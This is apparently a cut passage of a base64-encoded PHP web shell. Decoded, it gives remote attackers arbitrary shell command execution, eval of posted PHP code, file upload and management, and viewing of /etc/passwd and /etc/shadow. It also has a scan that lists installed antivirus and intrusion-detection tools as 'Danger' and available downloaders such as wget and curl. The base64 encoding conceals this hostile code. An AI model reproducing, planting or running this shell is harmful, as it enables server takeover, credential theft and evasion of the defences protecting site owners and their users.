ICcuJGRyaXZlLicgXTwvYT4gJzsgDQogICAgfSANCiAgICBlY2hvICc8dGFibGUgY2xhc3M9aW5mbyBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT48dHI+PHRkIHdpZHRoPTE+PHNwYW4+VW5hbWU8YnI+VXNlcjxicj5QaHA8YnI+SGRkPGJyPkN3ZCcuKCRHTE9CQUxTWydvcyddID09ICd3aW4nPyc8YnI+RHJpdmVzJzonJykuJzwvc3Bhbj48L3RkPicuIA0KICAgICAgICAgJzx0ZD46PG5vYnI+Jy5zdWJzdHIoQHBocF91bmFtZSgpLCAwLCAxMjApLicgIDxhIGhyZWY9Imh0dHA6Ly93d3cuZ29vZ2xlLmNvbS9zZWFyY2g/cT0nLnVybGVuY29kZShAcGhwX3VuYW1lKCkpLiciIHRhcmdldD0iX2JsYW5rIj5bejBuMzQwNF08L2E+IDxhIGhyZWY9IicuJG1pbGxpbmsuJyIgdGFyZ2V0PV9ibGFuaz5bc2VhcmNoXTwvYT48L25vYnI+PGJyPjonLiR1aWQuJyAoICcuJHVzZXIuJyApIDxzcGFuPkdyb3VwOjwvc3Bhbj4gJy4kZ2lkLicgKCAnLiRncm91cC4nICk8YnI+OicuQHBocHZlcnNpb24oKS4nIDxzcGFuPlNhZmUgbW9kZTo8L3NwYW4+ICcuKCRHTE9CQUxTWydzYWZlX21vZGUnXT8nPGZvbnQgY29sb3I9cmVkPk9OPC9mb250Pic6Jzxmb250IGNvbG9yPTw/PSRjb2xvcj8+PGI+T0ZGPC9iPjwvZm9udD4nKS4nIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnUGhwXCcsbnVsbCxudWxsLFwnaW5mb1wnKSI+WyBwaHBpbmZvIF08L2E+IDxzcGFuPkRhdGV0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycpLic8YnI+Oicudmlld1NpemUoJHRvdGFsU3BhY2UpLicgPHNwYW4+RnJlZTo8L3NwYW4+ICcudmlld1NpemUoJGZyZWVTcGFjZSkuJyAoJy4oaW50KSgkZnJlZVNwYWNlLyR0b3RhbFNwYWNlKjEwMCkuJyUpPGJyPjonLiRjd2RfbGlua3MuJyAnLnZpZXdQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSkuJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiRHTE9CQUxTWydob21lX2N3ZCddLidcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaG9tZSBdPC9hPjxicj46Jy4kZHJpdmVzLic8L3RkPicuIA0KICAgICAgICAgJzx0ZCB3aWR0aD0xIGFsaWduPXJpZ2h0Pjxub2JyPjxzZWxlY3Qgb25jaGFuZ2U9ImcobnVsbCxudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudmFsdWUpIj48b3B0Z3JvdXAgbGFiZWw9IlBhZ2UgY2hhcnNldCI+Jy4kb3B0X2NoYXJzZXRzLic8L29wdGdyb3VwPjwvc2VsZWN0Pjxicj48c3Bhbj5TZXJ2ZXIgSVA6PC9zcGFuPjxicj4nLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4nPGJyPjxzcGFuPkNsaWVudCBJUDo8L3NwYW4+PGJyPicuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uJzwvbm9icj48L3RkPjwvdHI+PC90YWJsZT4nLiANCiAgICAgICAgICc8dGFibGUgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+PHRyPicuJG1lbnUuJzwvdHI+PC90YWJsZT48ZGl2IHN0eWxlPSJtYXJnaW46NSI+JzsgDQp9IA0KDQpmdW5jdGlvbiBwcmludEZvb3RlcigpIHsgDQogICAgJGlzX3dyaXRhYmxlID0gaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKT8iPGZvbnQgY29sb3I9Z3JlZW4+WyBXcml0ZWFibGUgXTwvZm9udD4iOiI8Zm9udCBjb2xvcj1yZWQ+WyBOb3Qgd3JpdGFibGUgXTwvZm9udD4iOyANCj8+IA0KPC9kaXY+IA0KPHRhYmxlIGNsYXNzPWluZm8gaWQ9dG9vbHNUYmwgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCUiPiANCiAgICA8dHI+IA0KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCx0aGlzLmMudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPkNoYW5nZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSI8Pz1odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSk7Pz4iPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48L3RkPiANCiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PSJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+UmVhZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PC90ZD4gDQogICAgPC90cj4gDQogICAgPHRyPiANCiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PSJnKCdGaWxlc01hbicsbnVsbCwnbWtkaXInLHRoaXMuZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+TWFrZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1kPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48Pz0kaXNfd3JpdGFibGU/PjwvdGQ+IA0KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoJ0ZpbGVzVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlLCdta2ZpbGUnKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5NYWtlIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48Pz0kaXNfd3JpdGFibGU/PjwvdGQ+IA0KICAgIDwvdHI+IA0KICAgIDx0cj4gDQogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZygnQ29uc29sZScsbnVsbCx0aGlzLmMudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPkV4ZWN1dGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSIiPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48L3RkPiANCiAgICAgICAgPHRkPjxmb3JtIG1ldGhvZD0ncG9zdCcgRU5DVFlQRT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+IA0KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdGaWxlc01Bbic+IA0KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSc8Pz1odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSk/Pic+IA0KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ndXBsb2FkRmlsZSc+IA0KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSc8Pz1pc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106Jyc/Pic+IA0KICAgICAgICA8c3Bhbj5VcGxvYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjw/PSRpc193cml0YWJsZT8+PC90ZD4gDQogICAgPC90cj4gDQoNCjwvdGFibGU+IA0KPC9kaXY+IA0KPC9ib2R5PjwvaHRtbD4gDQo8P3BocCANCn0gDQppZiAoICFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkgKSB7IGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7IHJldHVybiBmYWxzZTsgfSB9DQppZiAoICFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldGdyZ2lkJyk9PT1mYWxzZSkgKSB7IGZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRwKSB7IHJldHVybiBmYWxzZTsgfSB9DQpmdW5jdGlvbiBleCgkaW4pIHsgDQogICAgJG91dCA9ICcnOyANCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgeyANCiAgICAgICAgQGV4ZWMoJGluLCRvdXQpOyANCiAgICAgICAgJG91dCA9IEBqb2luKCJcbiIsJG91dCk7IA0KICAgIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7IA0KICAgICAgICBvYl9zdGFydCgpOyANCiAgICAgICAgQHBhc3N0aHJ1KCRpbik7IA0KICAgICAgICAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7IA0KICAgIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgeyANCiAgICAgICAgb2Jfc3RhcnQoKTsgDQogICAgICAgIEBzeXN0ZW0oJGluKTsgDQogICAgICAgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsgDQogICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgeyANCiAgICAgICAgJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsgDQogICAgfWVsc2VpZihpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsgDQogICAgICAgICRvdXQgPSAiIjsgDQogICAgICAgIHdoaWxlKCFAZmVvZigkZikpIA0KICAgICAgICAgICAgJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsgDQogICAgICAgIHBjbG9zZSgkZik7IA0KICAgIH0gDQogICAgcmV0dXJuICRvdXQ7IA0KfSANCmZ1bmN0aW9uIHZpZXdTaXplKCRzKSB7IA0KICAgIGlmKCRzID49IDEwNzM3NDE4MjQpIA0KICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNzM3NDE4MjQgKS4gJyBHQic7IA0KICAgIGVsc2VpZigkcyA+PSAxMDQ4NTc2KSANCiAgICAgICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2ICkgLiAnIE1CJzsgDQogICAgZWxzZWlmKCRzID49IDEwMjQpIA0KICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOyANCiAgICBlbHNlIA0KICAgICAgICByZXR1cm4gJHMgLiAnIEInOyANCn0gDQoNCmZ1bmN0aW9uIHBlcm1zKCRwKSB7IA0KICAgIGlmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkaSA9ICdzJzsgDQogICAgZWxzZWlmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkaSA9ICdsJzsgDQogICAgZWxzZWlmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsgDQogICAgZWxzZWlmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkaSA9ICdiJzsgDQogICAgZWxzZWlmICgoJHAgJiAweDQwMDApID09IDB4NDAwMCkkaSA9ICdkJzsgDQogICAgZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsgDQogICAgZWxzZWlmICgoJHAgJiAweDEwMDApID09IDB4MTAwMCkkaSA9ICdwJzsgDQogICAgZWxzZSAkaSA9ICd1JzsgDQogICAgJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOyANCiAgICAkaSAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7IA0KICAgICRpIC49ICgoJHAgJiAweDAwNDApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7IA0KICAgICRpIC49ICgoJHAgJiAweDAwMjApID8gJ3InIDogJy0nKTsgDQogICAgJGkgLj0gKCgkcCAmIDB4MDAxMCkgPyAndycgOiAnLScpOyANCiAgICAkaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOyANCiAgICAkaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7IA0KICAgICRpIC49ICgoJHAgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsgDQogICAgJGkgLj0gKCgkcCAmIDB4MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsgDQogICAgcmV0dXJuICRpOyANCn0gDQpmdW5jdGlvbiB2aWV3UGVybXNDb2xvcigkZikgeyAgDQogICAgaWYgKCFAaXNfcmVhZGFibGUoJGYpKSANCiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPjxiPicucGVybXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7IA0KICAgIGVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpIA0KICAgICAgICByZXR1cm4gJzxmb250IGNvbG9yPXdoaXRlPjxiPicucGVybXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7IA0KICAgIGVsc2UgDQogICAgICAgIHJldHVybiAnPGZvbnQgY29sb3I9IzAwQkIwMD48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOyANCn0gDQppZighZnVuY3Rpb25fZXhpc3RzKCJzY2FuZGlyIikpIHsgDQogICAgZnVuY3Rpb24gc2NhbmRpcigkZGlyKSB7IA0KICAgICAgICAkZGggID0gb3BlbmRpcigkZGlyKTsgDQogICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGRoKSkpIHsgDQogICAgICAgICAgICAkZmlsZXNbXSA9ICRmaWxlbmFtZTsgDQogICAgICAgIH0gDQogICAgICAgIHJldHVybiAkZmlsZXM7IA0KICAgIH0gDQp9IA0KZnVuY3Rpb24gd2hpY2goJHApIHsgDQogICAgJHBhdGggPSBleCgnd2hpY2ggJy4kcCk7IA0KICAgIGlmKCFlbXB0eSgkcGF0aCkpIA0KICAgICAgICByZXR1cm4gJHBhdGg7IA0KICAgIHJldHVybiBmYWxzZTsgDQp9IA0KZnVuY3Rpb24gYWN0aW9uU2VjSW5mbygpIHsgDQogICAgcHJpbnRIZWFkZXIoKTsgDQogICAgZWNobyAnPGgxPlNlcnZlciBzZWN1cml0eSBpbmZvcm1hdGlvbjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7IA0KICAgIGZ1bmN0aW9uIHNob3dTZWNQYXJhbSgkbiwgJHYpIHsgDQogICAgICAgICR2ID0gdHJpbSgkdik7IA0KICAgICAgICBpZigkdikgeyANCiAgICAgICAgICAgIGVjaG8gJzxzcGFuPicuJG4uJzogPC9zcGFuPic7IA0KICAgICAgICAgICAgaWYoc3RycG9zKCR2LCAiXG4iKSA9PT0gZmFsc2UpIA0KICAgICAgICAgICAgICAgIGVjaG8gJHYuJzxicj4nOyANCiAgICAgICAgICAgIGVsc2UgDQogICAgICAgICAgICAgICAgZWNobyAnPHByZSBjbGFzcz1tbDE+Jy4kdi4nPC9wcmU+JzsgDQogICAgICAgIH0gDQogICAgfSANCiAgICAgDQogICAgc2hvd1NlY1BhcmFtKCdTZXJ2ZXIgc29mdHdhcmUnLCBAZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKSk7IA0KICAgIHNob3dTZWNQYXJhbSgnRGlzYWJsZWQgUEhQIEZ1bmN0aW9ucycsICgkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSk/JEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ106J25vbmUnKTsgDQogICAgc2hvd1NlY1BhcmFtKCdPcGVuIGJhc2UgZGlyJywgQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKTsgDQogICAgc2hvd1NlY1BhcmFtKCdTYWZlIG1vZGUgZXhlYyBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJykpOyANCiAgICBzaG93U2VjUGFyYW0oJ1NhZmUgbW9kZSBpbmNsdWRlIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSk7IA0KICAgIHNob3dTZWNQYXJhbSgnY1VSTCBzdXBwb3J0JywgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKT8nZW5hYmxlZCc6J25vJyk7IA0KICAgICR0ZW1wPWFycmF5KCk7IA0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfZ2V0X2NsaWVudF9pbmZvJykpIA0KICAgICAgICAkdGVtcFtdID0gIk15U3FsICgiLm15c3FsX2dldF9jbGllbnRfaW5mbygpLiIpIjsgDQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpIA0KICAgICAgICAkdGVtcFtdID0gIk1TU1FMIjsgDQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIA0KICAgICAgICAkdGVtcFtdID0gIlBvc3RncmVTUUwiOyANCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpIA0KICAgICAgICAkdGVtcFtdID0gIk9yYWNsZSI7IA0KICAgIHNob3dTZWNQYXJhbSgnU3VwcG9ydGVkIGRhdGFiYXNlcycsIGltcGxvZGUoJywgJywgJHRlbXApKTsgDQogICAgZWNobyAnPGJyPic7IA0KICAgICANCiAgICBpZiggJEdMT0JBTFNbJ29zJ10gPT0gJ25peCcgKSB7IA0KICAgICAgICAkdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsgDQogICAgICAgICRkYW5nZXIgPSBhcnJheSgna2F2Jywnbm9kMzInLCdiZGNvcmVkJywndXZzY2FuJywnc2F2JywnZHJ3ZWJkJywnY2xhbWQnLCdya2h1bnRlcicsJ2Noa3Jvb3RraXQnLCdpcHRhYmxlcycsJ2lwZncnLCd0cmlwd2lyZScsJ3NoaWVsZGNjJywncG9ydHNlbnRyeScsJ3Nub3J0Jywnb3NzZWMnLCdsaWRzYWRtJywndGNwbG9kZycsJ3N4aWQnLCdsb2djaGVjaycsJ2xvZ3dhdGNoJywnc3lzbWFzaycsJ3ptYnNjYXAnLCdzYXdtaWxsJywnd29ybXNjYW4nLCduaW5qYScpOyANCiAgICAgICAgJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7IA0KICAgICAgICBzaG93U2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvcGFzc3dkJywgQGlzX3JlYWRhYmxlKCcvZXRjL3Bhc3N3ZCcpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCIvZXRjL1wiLCBcInBhc3N3ZFwiKSc+W3ZpZXddPC9hPiI6J25vJyk7IA0KICAgICAgICBzaG93U2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvc2hhZG93JywgQGlzX3JlYWRhYmxlKCcvZXRjL3NoYWRvdycpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCJldGNcIiwgXCJzaGFkb3dcIiknPlt2aWV3XTwvYT4iOidubycpOyANCiAgICAgICAgc2hvd1NlY1BhcmFtKCdPUyB2ZXJzaW9uJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvcHJvYy92ZXJzaW9uJykpOyANCiAgICAgICAgc2hvd1NlY1BhcmFtKCdEaXN0ciBuYW1lJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2lzc3VlLm5ldCcpKTsgDQogICAgICAgIGlmKCEkR0xPQkFMU1snc2FmZV9tb2RlJ10pIHsgDQogICAgICAgICAgICBlY2hvICc8YnI+JzsgDQogICAgICAgICAgICAkdGVtcD1hcnJheSgpOyANCiAgICAgICAgICAgIGZvcmVhY2ggKCR1c2VyZnVsIGFzICRpdGVtKSANCiAgICAgICAgICAgICAgICBpZih3aGljaCgkaXRlbSkpeyR0ZW1wW109JGl0ZW07fSANCiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnVXNlcmZ1bCcsIGltcGxvZGUoJywgJywkdGVtcCkpOyANCiAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7IA0KICAgICAgICAgICAgZm9yZWFjaCAoJGRhbmdlciBhcyAkaXRlbSkgDQogICAgICAgICAgICAgICAgaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30gDQogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0RhbmdlcicsIGltcGxvZGUoJywgJywkdGVtcCkpOyANCiAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7IA0KICAgICAgICAgICAgZm9yZWFjaCAoJGRvd25sb2FkZXJzIGFzICRpdGVtKSAgDQogICAgICAgICAgICAgICAgaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30gDQogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0Rvd25sb2FkZXJzJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7IA0KICAgICAgICAgICAgZWNobyAnPGJyLz4nOyANCiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnSG9zdHMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7IA0KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdIREQgc3BhY2UnLCBleCgnZGYgLWgnKSk7IA0KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdNb3VudCBvcHRpb25zJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2ZzdGFiJykpOyANCiAgICAgICAgfSANCiAgICB9IGVsc2UgeyANCiAgICAgICAgc2hvd1NlY1BhcmFtKCdPUyBWZXJzaW9uJyxleCgndmVyJykpOyAgDQogICAgICAgIHNob3dTZWNQYXJhbSgnQWNjb3VudCBTZXR0aW5ncycsZXgoJ25ldCBhY2NvdW50cycpKTsgIA0KICAgICAgICBzaG93U2VjUGFyYW0oJ1VzZXIgQWNjb3VudHMnLGV4KCduZXQgdXNlcicpKTsgDQogICAgfSANCiAgICBlY2hvICc8L2Rpdj4nOyANCiAgICBwcmludEZvb3RlcigpOyANCn0gDQoNCmZ1bmN0aW9uIGFjdGlvblBocCgpIHsgDQogICAgaWYoIGlzc2V0KCRfUE9TVFsnYWpheCddKSApIHsgDQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gdHJ1ZTsgDQogICAgICAgIG9iX3N0YXJ0KCk7IA0KICAgICAgICBldmFsKCRfUE9TVFsncDEnXSk7IA0KICAgICAgICAkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0JykuaW5uZXJIVE1MPSciLmFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsgDQogICAgICAgIGVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7IA0KICAgICAgICBleGl0OyAgDQogICAgfSANCiAgICBwcmludEhlYWRlcigpOyANCiAgICBpZiggaXNzZXQoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMiddID09ICdpbmZvJykgKSB7IA0KICAgICAgICBlY2hvICc8aDE+UEhQIGluZm88L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOyANCiAgICAgICAgb2Jfc3RhcnQoKTsgDQogICAgICAgIHBocGluZm8oKTsgDQogICAgICAgICR0bXAgPSBvYl9nZXRfY2xlYW4oKTsgDQogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJyFib2R5IHsuKn0hbXNpVScsJycsJHRtcCk7IA0KICAgICAgICAkdG1wID0gcHJlZ19yZXBsYWNlKCchYTpcdysgey4qfSFtc2lVJywnJywkdG1wKTsgDQogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJyFoMSFtc2lVJywnaDInLCR0bXApOyANCiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIXRkLCB0aCB7KC4qKX0hbXNpVScsJy5lLCAudiwgLmgsIC5oIHRoIHskMX0nLCR0bXApOyANCiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIWJvZHksIHRkLCB0aCwgaDIsIGgyIHsuKn0hbXNpVScsJycsJHRtcCk7IA0KICAgICAgICBlY2hvICR0bXA7IA0KICAgICAgICBlY2hvICc8L2Rpdj48YnI+JzsgDQogICAgfSANCiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKSANCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsgDQogICAgICAgIGVjaG8gJzxoMT5FeGVjdXRpb24gUEhQLWNvZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPXBmIG1ldGhvZD1wb3N0IG9uc3VibWl0PSJpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jb2RlLnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNvZGUudmFsdWUsXCdcJyk7fXJldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPWNvZGUgY2xhc3M9YmlnYXJlYSBpZD1QaHBDb2RlPicuKCFlbXB0eSgkX1BPU1RbJ3AxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJykuJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUV2YWwgc3R5bGU9Im1hcmdpbi10b3A6NXB4Ij4nOyANCiAgICBlY2hvICcgPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVg8L2Zvcm0+PHByZSBpZD1QaHBPdXRwdXQgc3R5bGU9IicuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4nbWFyZ2luLXRvcDo1cHg7IiBjbGFzcz1tbDE+JzsgDQogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsgDQogICAgICAgIG9iX3N0YXJ0KCk7IA0KICAgICAgICBldmFsKCRfUE9TVFsncDEnXSk7IA0KICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpOyANCiAgICB9IA0KICAgIGVjaG8gJzwvcHJlPjwvZGl2Pic7IA0KICAgIHByaW50Rm9vdGVyKCk7IA0KfSANCg0KZnVuY3Rpb24gYWN0aW9uRmlsZXNNYW4oKSB7IA0KICAgIHByaW50SGVhZGVyKCk7IA0KICAgIGVjaG8gJzxoMT5GaWxlIG1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOyANCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pKSB7IA0KICAgICAgICBzd2l0Y2goJF9QT1NUWydwMSddKSB7IA0KICAgICAgICAgICAgY2FzZSAndXBsb2FkRmlsZSc6IA0KICAgICAgICAgICAgICAgIGlmKCFAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZiddWyduYW1